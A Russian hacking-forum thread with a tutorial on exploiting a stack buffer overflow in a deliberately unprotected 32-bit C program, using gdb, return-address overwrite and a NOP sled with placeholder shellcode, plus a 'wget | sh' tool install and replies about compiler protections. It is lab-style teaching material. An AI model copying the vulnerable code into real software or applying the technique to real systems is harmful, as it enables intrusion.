• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Переполнение стека. Практикуемся на программе без защиты.

top

(L3) cache
Пользователь
Регистрация
03.02.2020
Сообщения
252
Реакции
342
Доброго времени суток!

Хочу рассказать о переполнение стека без защиты программы. В данной статье мы не будем обходить какие-либо защиты, так как их не будет.

План:
  • Подготовка Лаборатории
  • Ассемблер и отладчик
  • Эксплуатация
  • Небольшой лайфхак

Подготовка Лаборатории

Создадим виртуальную машину linux на архитектуре x86 ( 32 битная ). Установим отладчик gdb и расширение gef для более удобной работы.
Код:
sudo apt install gdb
sh -c "$(wget http://gef.blah.cat/sh -O -)"
На первых этапах нам нужно будет отключить ASLR. Это рандомизация размещения адресного пространства. Команда для отключения: echo 0 > /proc/sys/kernel/randomize_va_space
После этого нужно будет выйти из системы командой logout.

Программа для изучения

C:
#include <string.h>

void copy(char *data) {
  char buffer[32];
  strcpy(buffer, data);
}

void main(int argc, char *argv[]) {
  copy(argv[1]);
}

Компилируем:

Код:
gcc copy_buffer.c -o copy_buffer -g -fno-stack-protector -fno-builtin -z execstack

# -o - имя выходного файла
# -g - включить отладочные символы
# -fno-stack-protector - Отключает защиту компилятора от атак типа Stack Smashing.
# -fno-builtin - В программе не распознаются встроенные функции кроме тех, имена которых начинаются с двух подчеркиваний
# -z execstack - Означает, что инструкции, расположенные в стеке, могут быть выполнены.

Наша программа копирует данные, вводимые пользователем в массив. Его размер 32 байта. Запускаем программу: ./copy_buffer TEST

Передадим строку больше 32 символов. И посмотрим на реакцию программы. Python поможет нам в генерации строки состоящей из nop инструкций ( 90h ) длиной 40 символов. Команда: ./copy_buffer $(python -c 'print "\x90" * 40')

Программа упала и выдала ошибку "Segmentation fault".


Ассемблер и отладчик

Запускаем эту программу в отладчике gdb gdb -q copy_buffer ( -q значит не выводить слишком подробную информацию ). Перезапустим программу, но переполнять буфер в данный момент не будем. Используем команду r $(python -c 'print "\x90" * 32'). Дизассемблируем функцию copy командой disas copy

Функция copy

C-подобный:
   0x00401199 <+0>:     push   ebp
   0x0040119a <+1>:     mov    ebp,esp
   0x0040119c <+3>:     push   ebx
   0x0040119d <+4>:     sub    esp,0x24
   0x004011a0 <+7>:     call   0x4011fe <__x86.get_pc_thunk.ax>
   0x004011a5 <+12>:    add    eax,0x2e5b
   0x004011aa <+17>:    sub    esp,0x8
   0x004011ad <+20>:    push   DWORD PTR [ebp+0x8] ; передача аргументов через инструкцию push
   0x004011b0 <+23>:    lea    edx,[ebp-0x28]
   0x004011b3 <+26>:    push   edx ; передача аргументов через инструкцию push
   0x004011b4 <+27>:    mov    ebx,eax
   0x004011b6 <+29>:    call   0x401030 <strcpy@plt>
   0x004011bb <+34>:    add    esp,0x10
   0x004011be <+37>:    nop
   0x004011bf <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x004011c2 <+41>:    leave
   0x004011c3 <+42>:    ret


Нас интересует функция strcpy. Ставим точку останова на этой функции b *0x004011b6 и нажимаем r $(python -c 'print "\x90" * 32'). Посмотрим на вершину стека перед вызовом и после. Регистр ESP нам в помощь. Выведем 24 значение word из стека x/24xw $esp

Вершина стека

C-подобный:
0xbffff150:     0xbffff160      0xbffff439      0xb7fb4000      0x004011a5
0xbffff160:     0x00000000      0x00200000      0xb7e0bcb9      0xb7fb7588
0xbffff170:     0xb7fb4000      0xb7fb4000      0x00000000      0xb7e0bdfb
0xbffff180:     0xb7fb43fc      0x00000000      0xbffff1a8      0x004011f2
0xbffff190:     0xbffff439      0xbffff254      0xbffff260      0x004011da
0xbffff1a0:     0xb7fe6520      0xbffff1c0      0x00000000      0xb7df4b41

Выполним функцию strcpy. Команда ni для перехода к следующей инструкции без входа в функцию. Посмотрим на значения в стеке теперь.

Вершина стека

C-подобный:
0xbffff150:     0xbffff160      0xbffff439      0xb7fb4000      0x004011a5
0xbffff160:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff170:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff180:     0xb7fb4300      0x00000000      0xbffff1a8      0x004011f2
0xbffff190:     0xbffff439      0xbffff254      0xbffff260      0x004011da
0xbffff1a0:     0xb7fe6520      0xbffff1c0      0x00000000      0xb7df4b41

Строки 0x90909090 это наши nop инструкции. Строки 0xb7fb4300 0x00000000 0xbffff1a8 не очень важны для нас. А вот значение 0x004011da важно. Это адрес возврата, который будет использоваться в инструкции retn.
Проверить это можно так: дизассемблируем инструкцию main: disas main. Адрес 0x004011f2 идёт после инструкции copy. Адрес возврата из функции copy.

Функция main

C-подобный:
   0x004011c4 <+0>:     lea    ecx,[esp+0x4]
   0x004011c8 <+4>:     and    esp,0xfffffff0
   0x004011cb <+7>:     push   DWORD PTR [ecx-0x4]
   0x004011ce <+10>:    push   ebp
   0x004011cf <+11>:    mov    ebp,esp
   0x004011d1 <+13>:    push   ecx
   0x004011d2 <+14>:    sub    esp,0x4
   0x004011d5 <+17>:    call   0x4011fe <__x86.get_pc_thunk.ax>
   0x004011da <+22>:    add    eax,0x2e26
   0x004011df <+27>:    mov    eax,ecx
   0x004011e1 <+29>:    mov    eax,DWORD PTR [eax+0x4]
   0x004011e4 <+32>:    add    eax,0x4
   0x004011e7 <+35>:    mov    eax,DWORD PTR [eax]
   0x004011e9 <+37>:    sub    esp,0xc
   0x004011ec <+40>:    push   eax
   0x004011ed <+41>:    call   0x401199 <copy>
   0x004011f2 <+46>:    add    esp,0x10
   0x004011f5 <+49>:    nop
   0x004011f6 <+50>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x004011f9 <+53>:    leave
   0x004011fa <+54>:    lea    esp,[ecx-0x4]
   0x004011fd <+57>:    ret


Эксплуатация

Представьте себе, что мы можем перезаписать адрес возврата. При переполнении буфера наши инструкции nop "перетирают" адрес возврата и программе некуда вернуться из функции copy. Вот почему возникает ошибка "Segmentation fault".
Проверим это: перезапустим программу со строкой длиной в 48 символов r $(python -c 'print "\x90" * 48') и посмотрим стек после функции strcpy. Команда: x/24xw $esp. Адреса 0x004011f2 нет в стеке.

Стек

C-подобный:
0xbffff140:     0xbffff150      0xbffff429      0xb7fb4000      0x004011a5
0xbffff150:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff160:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff170:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff180:     0xbffff400      0xbffff244      0xbffff250      0x004011da
0xbffff190:     0xb7fe6520      0xbffff1b0      0x00000000      0xb7df4b41

Теперь перезапишем значение адреса возврата. Размер буфера = 32 байтам. Строки 0xb7fb4300 0x00000000 0xbffff1a8 занимают 12 байтов ( 4 * 3 ). Далее идёт адрес возврата. 32 + 12 = 44 байта, которые мы заполним nop инструкциями, далее напишем адрес возврата. Учитывайте порядок байтов в программе. В нашей программе это little-endian. Например: адрес 0xbffff190 будет записан так 90f1ffbf в python мы запишем вот так: \x90\xf1\xff\xbf.

1610711895752.png


Мы используем инструкции nop ( 0x90 ), чтобы протестировать работы инструкций в стеке. Наша команда для перезапуска: r $(python -c 'print "\x90" * 44 + "\x90\xf1\xff\xbf" + "\x90" * 10 '). Смотрим стек, после инструкции strcpy командой x/24xw $esp.

C-подобный:
0xbffff130:     0xbffff140      0xbffff41f      0xb7fb4000      0x004011a5
0xbffff140:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff150:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff160:     0x90909090      0x90909090      0x90909090      0xbffff190
0xbffff170:     0x90909090      0x90909090      0xbf009090      0x004011da
0xbffff180:     0xb7fe6520      0xbffff1a0      0x00000000      0xb7df4b41

Мы не угадали адрес возврата. Адрес возврата, который мы написали 0xbffff190, а нужный нам адрес 0xbffff170 или 0xbffff140 либо другие адреса, где находятся nop инструкции. Корректируем: r $(python -c 'print "\x90" * 44 + "\x70\xf1\xff\xbf" + "\x90" * 10 ').

Стек

C-подобный:
0xbffff130:     0xbffff140      0xbffff41f      0xb7fb4000      0x004011a5
0xbffff140:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff150:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff160:     0x90909090      0x90909090      0x90909090      0xbffff170
0xbffff170:     0x90909090      0x90909090      0xbf009090      0x004011da
0xbffff180:     0xb7fe6520      0xbffff1a0      0x00000000      0xb7df4b41

Дойдём до инструкции retn по адресу 0x004011c3.

Функция main

C-подобный:
   0x00401199 <+0>:     push   ebp
   0x0040119a <+1>:     mov    ebp,esp
   0x0040119c <+3>:     push   ebx
   0x0040119d <+4>:     sub    esp,0x24
   0x004011a0 <+7>:     call   0x4011fe <__x86.get_pc_thunk.ax>
   0x004011a5 <+12>:    add    eax,0x2e5b
   0x004011aa <+17>:    sub    esp,0x8
   0x004011ad <+20>:    push   DWORD PTR [ebp+0x8] ; передача аргументов через инструкцию push
   0x004011b0 <+23>:    lea    edx,[ebp-0x28]
   0x004011b3 <+26>:    push   edx ; передача аргументов через инструкцию push
   0x004011b4 <+27>:    mov    ebx,eax
   0x004011b6 <+29>:    call   0x401030 <strcpy@plt>
   0x004011bb <+34>:    add    esp,0x10
   0x004011be <+37>:    nop
   0x004011bf <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x004011c2 <+41>:    leave
   0x004011c3 <+42>:    ret

Когда программа выполнила возврата, мы посмотрим какие идут следующие инструкции ( регистр EIP поможет нам ): x/5i $eip

C-подобный:
=> 0xbffff170:  nop
   0xbffff171:  nop
   0xbffff172:  nop
   0xbffff173:  nop
   0xbffff174:  nop
Это наши nop инструкции. Здесь может быть ваш шелл-код.


Небольшой лайфхак

Главное указать правильный адрес возврата для шелл-кода. Сам шеллкод может быть после адреса возврата, но тогда стек-фрейм может быть повреждён.
Шелл-код можно разместить до адреса возврата, не зная адрес возврата! "Волшебные" nop инструкции нам помогут здесь. 99 % nop инструкций и 1% шел-кода :)
Вставляем сначала nop инструкции, а затем шелл-код. Для примера шелл-кодом будет буква A ( 0x41 ). r $(python -c 'print "\x90" * 32 + "\x41\x41\x41\x41" * 3 + "\x90\xf1\xff\xbf"').

Стек

C-подобный:
0xbffff180:     0xbffff190      0xbffff46a      0xb7fb4000      0x004011a5
0xbffff190:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff1a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff1b0:     0x41414141      0x41414141      0x41414141      0xbffff190
0xbffff1c0:     0xbffff400      0xbffff284      0xbffff290      0x004011da
0xbffff1d0:     0xb7fe6520      0xbffff1f0      0x00000000      0xb7df4b4

Дойдём до инструкции retn, выполним её и посмотрим на регистр eip командой x/35i $eip. По адресу 0xbffff1b0 наш фальшивый шелл-код.

C-подобный:
=> 0xbffff190:  nop
   0xbffff191:  nop
   0xbffff192:  nop
   0xbffff193:  nop
   0xbffff194:  nop
   0xbffff195:  nop
   0xbffff196:  nop
   0xbffff197:  nop
   0xbffff198:  nop
   0xbffff199:  nop
   0xbffff19a:  nop
   0xbffff19b:  nop
   0xbffff19c:  nop
   0xbffff19d:  nop
   0xbffff19e:  nop
   0xbffff19f:  nop
   0xbffff1a0:  nop
   0xbffff1a1:  nop
   0xbffff1a2:  nop
   0xbffff1a3:  nop
   0xbffff1a4:  nop
   0xbffff1a5:  nop
   0xbffff1a6:  nop
   0xbffff1a7:  nop
   0xbffff1a8:  nop
   0xbffff1a9:  nop
   0xbffff1aa:  nop
   0xbffff1ab:  nop
   0xbffff1ac:  nop
   0xbffff1ad:  nop
   0xbffff1ae:  nop
   0xbffff1af:  nop
   0xbffff1b0:  inc    ecx ; Наш фальшивый шелл-код
   0xbffff1b1:  inc    ecx
   0xbffff1b2:  inc    ecx
   0xbffff1b3:  inc    ecx
   0xbffff1b4:  inc    ecx
   0xbffff1b5:  inc    ecx
   0xbffff1b6:  inc    ecx
   0xbffff1b7:  inc    ecx
   0xbffff1b8:  inc    ecx
   0xbffff1b9:  inc    ecx
   0xbffff1ba:  inc    ecx
   0xbffff1bb:  inc    ecx
   0xbffff1bc:  nop

QHjZARB.jpg


Напомню, что наша программа голая и без защиты типа ASLR или Stack Canary.

Спасибо за внимание. Удачи вам.

Автор @Shodus
источник: protey.net
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ща вроде в новых компиляторах сразу же показывают такие ошибки кодера, если только не отключать проверку безопасности например в вс++
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Перенес в соответствующий раздел в копилку форума. Но как такового у нас много материала по переполнению буфера, не хватает материала по канарейке - Stack Cookie на х32\х64. И не только...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ща вроде в новых компиляторах сразу же показывают такие ошибки кодера, если только не отключать проверку безопасности например в вс++
Именно, оно не просто предупреждение выдаст - warning, а выдаст это как ошибку - error и код просто не соберется, а если и соберется в любом случает будет присутствовать канарейка.
 
А есть ли искусственные примеры подобного, то есть минимально рабочие программы на С(а не какие нибудь браузерные VM где все это происходит), только когда стек не исполнимый, DEP, ASLR включен, то есть со всеми популярными защитами. Надоело читать примеры, из разряда "Если бы бабка была дедкой", этого и так полно.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А есть ли искусственные примеры подобного, то есть минимально рабочие программы на С(а не какие нибудь браузерные VM где все это происходит), только когда стек не исполнимый, DEP, ASLR включен, то есть со всеми популярными защитами. Надоело читать примеры, из разряда "Если бы бабка была дедкой", этого и так полно.
И такие примеры есть. К примеру в 2017 году был таск от компании Blue Frost Security. В нем присутствовала канарейка так называемые стек куки, включен DEP и ASLR. Победитель получал билет на конференцию Ekoparty которая проходила в Аргентине.

Вот ссылка на событие
https://labs.bluefrostsecurity.de/blog/2017/08/02/bfs-ekoparty-exploitation-challenge/

p.s.
Решение этой задачки Writeup можно поискать в сети.

 
Пожалуйста, обратите внимание, что пользователь заблокирован
А есть ли искусственные примеры подобного, то есть минимально рабочие программы на С(а не какие нибудь браузерные VM где все это происходит), только когда стек не исполнимый, DEP, ASLR включен, то есть со всеми популярными защитами. Надоело читать примеры, из разряда "Если бы бабка была дедкой", этого и так полно.
собираешься сплойт под новые програмки найти?) Навряд ли...
Именно, оно не просто предупреждение выдаст - warning, а выдаст это как ошибку - error и код просто не соберется, а если и соберется в любом случает будет присутствовать канарейка.
+. Ща ебанный вс 2019 года алертится на все, попробуй сконпелируй чистый винапи со своим EP, как сразу получишь кртшную ошибку. Все говорит об одном, бросайте чистый винапи, пишите с crt :D
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх